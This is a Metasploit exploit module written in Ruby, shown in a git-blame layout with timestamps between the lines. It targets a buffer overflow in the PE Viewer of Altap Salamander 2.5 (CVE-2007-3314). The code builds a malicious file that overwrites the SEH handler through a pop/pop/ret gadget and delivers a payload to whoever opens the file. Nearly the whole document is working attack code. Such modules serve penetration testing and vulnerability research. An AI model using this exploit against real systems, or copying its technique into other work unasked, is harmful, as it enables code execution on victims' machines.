2009-08-30 02:18:33 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2009-08-30 02:18:33 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
2013-08-30 21:28:54 +00:00
|
|
|
Rank = GoodRanking
|
2009-08-30 02:18:33 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Exploit::FILEFORMAT
|
|
|
|
include Msf::Exploit::Seh
|
2010-02-10 23:17:19 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Altap Salamander 2.5 PE Viewer Buffer Overflow',
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a buffer overflow in Altap Salamander <= v2.5.
|
|
|
|
By creating a malicious file and convincing a user to view the file with
|
|
|
|
the Portable Executable Viewer plugin within a vulnerable version of
|
|
|
|
Salamander, the PDB file string is copied onto the stack and the
|
|
|
|
SEH can be overwritten.
|
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' => [ 'patrick' ],
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2007-3314' ],
|
|
|
|
[ 'BID', '24557' ],
|
|
|
|
[ 'OSVDB', '37579' ],
|
|
|
|
[ 'URL', 'http://vuln.sg/salamander25-en.html' ],
|
|
|
|
],
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'process',
|
|
|
|
'DisablePayloadHandler' => 'true',
|
|
|
|
},
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 1024,
|
|
|
|
'BadChars' => "\x00\x0d\x0a=:\\/%$^&*",
|
|
|
|
'StackAdjustment' => -3500,
|
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
[ 'Universal Salamander 2.5', { 'Ret' => 0x23920b59 } ], # pop ebx; pop eax; ret salrtl.dll
|
|
|
|
],
|
|
|
|
'Privileged' => false,
|
|
|
|
'DisclosureDate' => 'Jun 19 2007',
|
|
|
|
'DefaultTarget' => 0))
|
2009-08-30 02:18:33 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('FILENAME', [ false, 'The file name.', 'msf-salamander-pdb.exe'])
|
|
|
|
], self.class)
|
2009-08-30 02:18:33 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
2009-08-30 02:18:33 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def exploit
|
2009-08-30 02:18:33 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
seh = generate_seh_payload(target.ret)
|
2009-08-30 02:18:33 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
# load the static pdb file beginning
|
2013-09-26 19:34:48 +00:00
|
|
|
path = File.join(Msf::Config.data_directory, "exploits", "CVE-2007-3314.dat")
|
2013-08-30 21:28:54 +00:00
|
|
|
fd = File.open(path, "rb")
|
|
|
|
sploit = fd.read(fd.stat.size)
|
|
|
|
fd.close
|
2010-02-10 23:17:19 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
sploit << rand_text_alphanumeric(1098) + seh
|
|
|
|
sploit << ".pdb"
|
2009-08-30 02:18:33 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
print_status("Creating '#{datastore['FILENAME']}' file ...")
|
2009-08-30 02:18:33 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
file_create(sploit)
|
2009-08-30 02:18:33 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
2009-08-30 02:18:33 +00:00
|
|
|
|
|
|
|
end
|